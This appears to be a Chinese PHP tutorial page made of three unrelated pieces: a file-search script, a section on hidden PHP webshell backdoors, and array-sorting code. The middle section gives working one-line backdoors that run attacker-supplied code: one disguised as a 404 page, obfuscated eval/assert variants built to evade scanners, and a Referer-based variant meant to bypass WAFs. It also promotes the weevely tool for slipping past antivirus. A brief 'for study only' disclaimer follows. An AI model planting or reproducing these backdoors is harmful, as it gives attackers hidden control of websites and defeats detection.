先来看一个简单的php搜索文件并显示的代码。
如下:
<?php
/**
* 搜索文件并列出文件名
* opendir打开目录
* readdir读取文件名
* unlink删除文件
* edit by www.
*/
$dir = "file/class/";
//获取目录下的文件
if (is_dir($dir)) {
if ($dh = opendir($dir)) {
while (($file = readdir($dh)) !== false) {
if($file!="."&&$file!=".."){
$unexit[]=$file;}
}
closedir($dh);
}
}
?>
下面是功能更强,复杂点的。
<?php
/**
* 文件: search.php
* 功能: 搜索指定目录下的HTML文件
*/
/* 基本函数 */
//获取目录下文件函数
function getFile($dir)
{
$dp = opendir($dir);
$fileArr = array();
while (!false == $curFile = readdir($dp)) {
if ($curFile!="." && $curFile!=".." && $curFile!="") {
if (is_dir($curFile)) {
$fileArr = getFile($dir."/".$curFile);
} else {
$fileArr[] = $dir."/".$curFile;
}
}
}
return $fileArr;
}
//获取文件内容
function getFileContent($file)
{
if (!$fp = fopen($file, "r")) {
die("Cannot open file $file");
}
while ($text = fread($fp, 4096)) {
$fileContent .= $text;
}
return $fileContent;
}
//搜索指定文件
function searchText($file, $keyword)
{
$text = getFileContent($file);
if (preg_match("/$keyword/i", $text)) {
return true;
}
return false;
}
//搜索出文章的标题
function getFileTitle($file, $default="None subject")
{
$fileContent = getFileContent($file);
$sResult = preg_match("/<title>.*<\/title>/i", $fileContent, $matchResult);
$title = preg_replace(array("/(<title>)/i","/(<\/title>)/i"), "", $matchResult[0]);
if (empty($title)) {
return $default;
} else {
return $title;
}
}
//获取文件描述信息
function getFileDescribe($file,$length=200, $default="None describe")
{
$metas = get_meta_tags($file);
if ($meta['description'] != "") {
return $metas['description'];
}
$fileContent = getFileContent($file);
preg_match("/(<body.*<\/body>)/is", $fileContent, $matchResult);
$pattern = array("/(<[^\x80-\xff]+>)/i","/(<input.*>)+/i", "/(<a.*>)+/i", "/(<img.*>)+/i",
"/([<script.*>])+.*([<\/script>])+/i","/&/i","/"/i","/'/i", "/\s/");
$description = preg_replace($pattern, "", $matchResult[0]);
$description = mb_substr($description, 0, $length)." ...";
return $description;
}
//加亮搜索结果中的关键字
function highLightKeyword($text, $keyword, $color="#C60A00")
{
$newword = "<font color=$color>$keyword</font>";
$text = str_replace($keyword, $newword, $text);
return $text;
}
//获取文件大小(KB)
function getFileSize($file)
{
$filesize = intval(filesize($file)/1024)."K";
return $filesize;
}
//获取文件最后修改的时间
function getFileTime($file)
{
$filetime = date("Y-m-d", filemtime($file));
return $filetime;
}
//搜索目录下所有文件
function searchFile($dir, $keyword)
{
$sFile = getFile($dir);
if (count($sFile) <= 0) {
return false;
}
$sResult = array();
foreach ($sFile as $file) {
if (searchText($file, $keyword)) {
$sResult[] = $file;
}
}
if (count($sResult) <= 0) {
return false;
} else {
return $sResult;
}
} //by www.
/* 测试代码 */
//指定要搜索的目录
$dir = "./php_Linux";
//要搜索的关键字
$keyword = "sendmail";
$fileArr = searchFile($dir, $keyword);
$searchSum = count($fileArr);
echo "搜索关键字: <b>$keyword</b> 搜索目录: <b>$dir</b> 搜索结果: <b>$searchSum</b><br><hr size=1><br>";
if ($searchSum <= 0) {
echo "没有搜索到任何结果";
} else {
foreach ($fileArr as $file) {
echo "<a href='/blog_article/$file/index.html' target='_blank'>". highLightKeyword(getFileTitle($file), $keyword) .
"</a> - ".getFileSize($file)." ". getFileTime($file) .
"<br>\n<font size=2>".highLightKeyword(getFileDescribe($file), $keyword) .
"</font><br><br>";
}
}
?>用php写的程序,由于开发人员水平的问题,经常会存在一些后门被人利用。
本节介绍PHP一句话木马。
利用404页面隐藏PHP小马:
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace( "/[pageerror]/e" , $_POST [ 'error' ], "saft" );
header( 'HTTP/1.1 404 Not Found' );
?>
404页面是网站常用的文件,一般建议好后很少有人会去对它进行检查修改,这时我们可以利用这一点进行隐藏后门。
无特征隐藏PHP一句话:
session_start();
$_POST [ 'code' ] && $_SESSION [ 'theCode' ] = trim( $_POST [ 'code' ]);
$_SESSION [ 'theCode' ]&&preg_replace( '\'a\'eis' , 'e' . 'v' . 'a' . 'l' . '(base64_decode($_SESSION[\'theCode\']))' , 'a' );
?>
将$_POST['code']的内容赋值给$_SESSION['theCode'],然后执行$_SESSION['theCode'],亮点是没有特征码。用扫描工具来检查代码的话,是不会报警的,达到目的了。
超级隐蔽的PHP后门:
仅用GET函数就构成了木马;
利用方法:
执行后当前目录生成c.php一句话木马,当传参a为eval时会报错木马生成失败,为assert时同样报错,但会生成木马,真可谓不可小视,简简单单的一句话,被延伸到这般应
用。
层级请求,编码运行PHP后门:
此方法用两个文件实现,文件1
//1.php
header( 'Content-type:text/html;charset=utf-8' );
parse_str ( $_SERVER [ 'HTTP_REFERER' ], $a );
if (reset( $a ) == '10' && count ( $a ) == 9) {
eval ( base64_decode ( str_replace ( " " , "+" , implode( array_slice ( $a , 6)))));
}
?>
文件2
//2.php
header( 'Content-type:text/html;charset=utf-8' );
//要执行的代码
$code = <<<CODE
phpinfo();
CODE;
//进行base64编码
$code = base64_encode ( $code );
//构造referer字符串
$referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=" ;
//后门url
$url = 'http://localhost/test1/1.php ' ;
$ch = curl_init();
$options = array (
CURLOPT_URL => $url ,
CURLOPT_HEADER => FALSE,
CURLOPT_RETURNTRANSFER => TRUE,
CURLOPT_REFERER => $referer
);
curl_setopt_array( $ch , $options );
echocurl_exec( $ch );
?>
通过HTTP请求中的HTTP_REFERER来运行经过base64编码的代码,来达到后门的效果,一般waf对referer这些检测要松一点,或者没有检测。用这个思路bypass waf不错。
PHP后门生成工具weevely
weevely是一款针对PHP的webshell的自由软件,可用于模拟一个类似于telnet的连接shell,weevely通常用于web程序的漏洞利用,隐藏后门或者使用类似telnet的方式来代
替web 页面式的管理,weevely生成的服务器端php代码是经过了base64编码的,所以可以骗过主流的杀毒软件和IDS,上传服务器端代码后通常可以通过weevely直接运行。
weevely所生成的PHP后门所使用的方法是现在比较主流的base64加密结合字符串变形技术,后门中所使用的函数均是常用的字符串处理函数,被作为检查规则的eval,system
等函数都不会直接出现在代码中,从而可以致使后门文件绕过后门查找工具的检查。使用暗组的Web后门查杀工具进行扫描,结果显示该文件无任何威胁。
三个变形的一句话PHP木马
第一个
在菜刀里写http://site/1.php?2=assert密码是1
第二个
$_ = "" ;
$_ [+ "" ]= '' ;
$_ = "$_" . "" ;
$_ =( $_ [+ "" ]| "" ).( $_ [+ "" ]| "" ).( $_ [+ "" ]^ "" );
?>
<?php ${ '_' . $_ }[ '_' ](${ '_' . $_ }[ '__' ]);?>
在菜刀里写http://site/2.php?_=assert&__=eval($_POST['pass']) 密码是pass。
如果你用菜刀的附加数据的话更隐蔽,或者用其它注射工具也可以,因为是post提交的。
第三个
( $b4dboy = $_POST [ 'b4dboy' ]) && @preg_replace( '/ad/e' , '@' . str_rot13 ( 'riny' ). '($b4dboy)' , 'add' );
str_rot13(‘riny’)即编码后的eval,完全避开了关键字,又不失效果。
最后列几个高级的PHP一句话木马后门:
1、
$hh ( "/[discuz]/e" , $_POST [ 'h' ], "Access" );
//一句话
2、
include ( $filename );
//危险的include函数,直接编译任何文件为php格式运行
3、
$reg ( $_FILES [MyFile][tmp_name], $_FILES [MyFile][name]);
//重命名任何文件
4、
$gzid ( "/[discuz]/e" , $_POST [ 'h' ], "Access" );
//菜刀一句话
5、 include ( $uid );
//gif插一句话
6、典型一句话程序后门代码
<?php eval_r( $_POST [sb])?>
<?php @eval_r( $_POST [sb])?>
//容错代码
<?php assert( $_POST [sb]);?>
//使用lanker一句话客户端的专家模式执行相关的php语句
<? $_POST [ 'sa' ]( $_POST [ 'sb' ]);?>
<? $_POST [ 'sa' ]( $_POST [ 'sb' ], $_POST [ 'sc' ])?>
<?php
@preg_replace( "/[email]/e" , $_POST [ 'h' ], "error" );
?>
//使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入
<O>h=@eval_r( $_POST1 );</O>
<script language= "php" >@eval_r( $_POST [sb])</script>
//绕过<?限制的一句话
以上介绍的内容,仅供大家学习与研究php后门之用,不可用于危害他人网站,切记!
php数组排序实例,代码如下:
<?php
/**
* php 数组排序
* @author zhaojaingwei
* @edit by www.
*
*/
$list = array(3,5,1,2,10,8,15,19,20);
//快排
function fast(&$list, $low, $high){
if($high - $low > 5){
while($low < $high){
$key = excute($list, $low, $high);
fast($list, $low, $key - 1);
//fast($list, $key + 1, $high);//普通递归实现
$low = $key + 1;//尾递归实现
}
}else{
insert($list);
}
}
//快排执行一次排序
function excute(&$list, $low, $high){
swap($list, $low, ($low + $high)/2);
$temp = $list[$low];
while($low < $high){
while($low < $high && $list[$high] > $temp){
$high --;
}
$list[$low] = $list[$high];
while($low < $high && $list[$low] < $temp){
$low ++;
}
$list[$high] = $list[$low];
}
$list[$low] = $temp;
return $low;
}
//堆排序
function heap(&$list){
buildheap($list);
for($i = count($list) - 1; $i > 0; $i --){
swap($list, $i, 0);
heapfy($list, 0, $i - 1);
}
}
//创建堆
function buildheap(&$list){
for($i = (count($list) - 2)/2; $i >= 0; $i --){
heapfy($list, $i, count($list) - 1);
}
}
//维护堆
function heapfy(&$list, $low, $high){
$temp = $list[$low];
for($i = ($low * 2 + 1); $i <= $high; $i = ($i * 2 + 1)){
if($i < $high && $list[$i] < $list[$i + 1]){
$i ++;
}
if($temp < $list[$i]){
swap($list, $i, $low);
$low = $i;
}else{
break;
}
}
$list[$low] = $temp;
}
//希尔排序
function shell(&$list){
$a = 0;
$code = count($list)/3 + 1;
while($code >= 1){
for($i = $code; $i < count($list); $i ++){
$a ++;
if($list[$i] < $list[$i - $code]){
$temp = $list[$i];
$list[$i] = $list[$i - $code];
$j = $i - 2*$code;
for(; $j >= 0 && $list[$j] > $temp; $j -= $code){
$list[$j + $code] = $list[$j];
$a ++;
}
$list[$j + $code] = $temp;
}
}
$code = $code/3;
}
echo $a;
}
//直接插入排序
function insert(&$list){
$a = 0;
for($i = 1; $i < count($list); $i ++){
$a ++;
if($list[$i] < $list[$i - 1]){
$temp = $list[$i];
$list[$i] = $list[$i - 1];
$j = $i - 2;
for(; $list[$j] > $temp; $j --){
$a ++;
$list[$j + 1] = $list[$j];
}
$list[$j + 1] = $temp;
}
}
echo $a;
}
//简单选择排序
function select(&$list){
$a = 0;
for($i = 0; $i < count($list); $i ++){
$min = $i;
$a ++;
for($j = $i + 1; $j < count($list); $j ++){
$a ++;
if($list[$j] < $list[$min]){
$min = $j;
}
}
if($min != $i)
swap($list, $i, $min);
}
echo $a;
}
//冒泡排序
function bubble(&$list){
$swap = true;
$a = 0;
for($i = 0; $i < count($list) && $swap; $i ++){
$swap = false;
$a ++;
for($j = count($list) - 2; $j >= $i; $j --){
$a ++;
if($list[$j] > $list[$j + 1]){
$swap = true;
swap($list, $j, $j + 1);
}
}
}
echo $a;
}
//移动或交换函数
function swap(&$list, $i, $j){
$temp = $list[$i];
$list[$i] = $list[$j];
$list[$j] = $temp;
}
?>